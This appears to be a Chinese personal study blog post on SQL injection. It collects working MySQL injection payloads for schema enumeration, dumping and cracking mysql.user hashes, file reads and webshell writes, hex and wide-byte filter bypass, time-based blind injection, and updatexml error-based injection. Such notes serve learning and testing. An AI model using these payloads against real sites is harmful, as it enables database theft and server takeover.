zoukankan      html  css  js  c++  java
  • 再次学习sql注入

    爆所有数据库
    select schema_name from information_schema.schemata
    先爆出多少个字段 id = 1 order by ?;
    mysql5.0及以上 都有一个information_scheam这个数据库
    informatino_schema 数据库
    information_scheama 下面的表(tables) 存放的一些字段 比较有用
    所以从information_schema.tables where table_schema = '数据库名';

    比如是从一个information_schema里面先查到一个数据库,那么我们就需要
    select * from information_schema;
    1.获取所有字段
    2.获取数据库的列名
    select table_schema from information_schema.tables;
    获取指定数据库下面的表名;
    例如,获取rest里面的所有表名
    select table_name from information_schema.tables where table_schema = 'rest';
    获取表名里面的字段
    select column_name from information_schema.columns where table_name = 'tag';
    此方法有可能会查到其他库中的表

    思考:
    既然information_schema.columns和information_schema.tables 里面既然可以是查到column,那么直接从information_schema.columns查找不就可以了,为什么非要用information_schema.tables里面查数据库 数据表?
    答案:
    仔细从information_schema.tables 和 information_schema.columns 分别查查 ,或者对应着看数据库就可以了

    判断是从mysql还是从access
    and (select count() from sysobjects)>0 mssql
    and (select count(
    ) from msysobjects)>0 access

    高权限操作

    查看所有用户
    select user() from "随便一个数据表"; 查看所有的账号,没有密码
    select * from mysql.user; 里面的密码是用md5进行加密的,拿去cmd5解密就可以了
    查看系统的版本
    select version() from "随便一个数据表";
    查看当前系统;
    select @@version_compile_os from admin;

    load_file 读取文件
    select load_file('路径名');

    windows要注意斜杠线 如果直接在桌面的bbs.txt文件右击属性的话 会显示 C:UsersDesktopbb.txt,但是Mysql在进行查询的时候要转换成
    select load_file('C:/Users/Desktop/bbb.txt') from admin;

    into_outfile 写入文件跟读取文件一样,一般都是写入一句话木马
    select '12' into outfile select '12' into outfile 'C:/Users/75143/Desktop/bbb111111.txt';;

    注意在写入或者读取的时候,因为网站会自动进行解析,所以最好都是用十六进制转换,但是Mysql在进行十六进制转换的时候会自动加上引号

    比如把select '12' into outfile 'C:/Users/Desktop/bbb111111.txt'转换成十六进制就是0x27433a2f55736572732f4465736b746f702f6262623131313131312e74787427
    写入文件 在操作之前是要知道运行文件的路径
    如何知道:
      1.报错显示
      2.谷歌语法 比如 inurl:edu.cn warnging
      3.读取搭建平台的配置文件 比如apache目录下的conf里面的vhosts.conf 就存放着这个网站的配置信息
      4.漏洞报错 比如搜索:phpcms 爆路径
      5.遗留文件 类似于phpinifo.php 和install的说明 inurl: phpinfo.php(超级有用啊)
      6.字典爆破

    高权限体现

    网站A无注入点,网站B有注入点,网站A和B是同一家企业,如果拿到了网站B的数据库,可能网站A的数据库也就拿下了,因为一个企业可能布置在同一个mysql下,还是database()来实现看到是哪个数据库
    要注意指定相应的数据库

    SQL防护函数

    magic_quote_gpc = OFF
    安全函数 addslashes
    如果有这两个函数,经过这函数的单引号、双引号、反斜杠、NULL等都会被加上
    思考如何绕过?
    十六进制编码或者宽字节注入 记得加转换的数据要进行0x 哈哈哈

    十六进制编码在哪使用??
    待解答.......

    请求方式注入

    get 注入 就是常见的在http里面通过get的方式进行传输
    post 注入 一般都是登录的时候 进行post注入,这样的注入不易被人查觉到,能做到降低一定的危险

    cookie 注入 用burp 里面改包试试,还没有遇见过cookie 注入
    干扰:
    单引号 ,可能有这个报错注入
    原语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1
    输入id =1' 之后产生
    you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
    绕过:主要是LIMIT 0,1' ,这个单引号没有闭合,那么我们只需要闭合单引号 and '1' = '1 就会拼接成 select xxx from xxx where id ='x' limit and '1' = '1'
    或者把最后的单引号给注释掉 最常见的是 --+ 和 # /*
    最喜欢报错注入,不喜欢盲注

    http头注入

    有的数据库会以http头中的某个数据来进行查询(说着就有点蹩脚...)
    比如根据UA头显示不同的数据,那么我们如果是通过burp来抓到包之后就可以跑了,具体的还是用工具跑一遍把,要不然就麻烦了
    $SERVER 来实现看到某个ip的访问数据

    显示当前的访问ip
    https://www.cnblogs.com/rendd/p/6182918.html

    参数类型注入:

    因为mysql注入的时候也会区分是数值还是字符串注入,所以在注入的时候需要进行区分下
    搜索型 是用的like 通配符 比如说是select * from user where username like '%1%'
    这个时候闭合的就是单引号和%
    闭合方式: select * from user where username = '%1%' union select 1,2,3'%%#'这样的方式进行闭合
    % 和单引号闭合的类似,就在单引号后面加上一个%
    数字 没有单引号进行干扰
    字符 一般都是需要在查询的时候加上单引号 比如select * from user where username = 'hhh'; 和 select * from user where username = hhh ; 第二个select 会报错,Mysql把这个hhh当成了列名来进行执行的

    参数加密注入

    $id = base64_encode($_GET['x']); 在id = 1 这里进行接受的时候将1进行base64进行编码,防止别人看出来,然后下面再把1 进行base64_decode 进行解码
    则查询的时候就变成了select * from user where id = 1;

    盲注

    一般没有加函数的注入都是属于盲注,特点:速度快,兼容性差
    盲注:速度慢,兼容性好

    时间盲注:

    sleep函数()
    比如select * from user where id = 1 and sleep(5);
    如果id = 1存在,那么我们会看到时间延迟5秒中,具体的在Mysql中结果是 Empty set (5.00 sec)
    如果id = 1000 不存在,那么select * from user where id = 1000 and sleep(5); 结果就是Empty set (0.00 sec)

    if 函数 如果判断1=2为真执行3,假则执行5
    select if (1=2,3,5);

    mid 函数
    mid(str,index,ken) //截取str 从index开始,截取len的长度
    比如这样
    select mid(username,2,3) from admin where id = 1;

    ord 函数
    ord() 函数返回字符串第一个字符的 ASCII 值
    select ord('a');

    if 和 sleep 连用
    select * from admin where id = 1 and sleep(if((select database()='rest'),0,5));
    先用sleep里面再加入select database() = 'rest',这个就是比较好,如果database() = rest 就不延迟,否则就延迟5秒
    database() = rest Empty set (0.00 sec)
    database() != rest Empty set (5.00 sec)

    length() 里面字段可以变成数字
    比如select length(database());
    结果:
    +--------------------+
    | length(database()) |
    +--------------------+
    | 4 |
    +--------------------+
    1 row in set (0.00 sec)
    获取表名:
    先获取表明长度
    select sleep(if(length(table_name)=5,0,5)) from information_schema.tables where table_schema =database() limit 0,1;
    进一步判断表名
    通过字符
    select sleep(if(mid(table_name,1,1)='a',0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;
    通过ascii 利用的ascii
    select sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;
    limit 的使用
    使用limit可以使找到的有几张数据表,limit 0 ,1 就是第从0 开始到1的一张数据表 limit 0,2就是2张
    盲注最好是写个脚本进行跑,要不然很麻烦
    这种操作是先判断length()中的table_name的值是否是5,理解table_name length if sleep的连用
    爆列表和字段就写了
    insert 4种注入 一般拿到源码或者知道sql语句的时候 才能手注试试
    insert update delete limit 注入
    利用updatexml()获取数据库
    利用extravalue()获取数据
    利用name_const()获取数据
    利用子查询注入获取数据
    用户注册(insert) 密码修改(update) 信息删除(delete)
    delete from admin where id =1 or updatexml(1,concat(0x7e,(version())),0);
    属于报错注入,并且这种注入都是真正删除数据的
    ERROR 1105 (HY000): XPATH syntax error: '~5.5.40'
    delete from admin where id =1 or updatexml(1,concat(0x3a,(select user())),1);
    查询user
    ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
    参考:https://xz.aliyun.com/t/3992
    https://xz.aliyun.com/t/5505

  • 相关阅读:
    python入门
    二级域名分发
    检测网站日常运行
    为自己的网站添加天气显示
    基于linux下LNMP环境设置wordpress伪静态
    个人博客
    静态页跨页面传值
    微信小程序制作-随笔4
    中间带文字的分割线
    微信小程序制作-随笔3
  • 原文地址:https://www.cnblogs.com/Triangle-security/p/12090508.html
Copyright © 2011-2022 走看看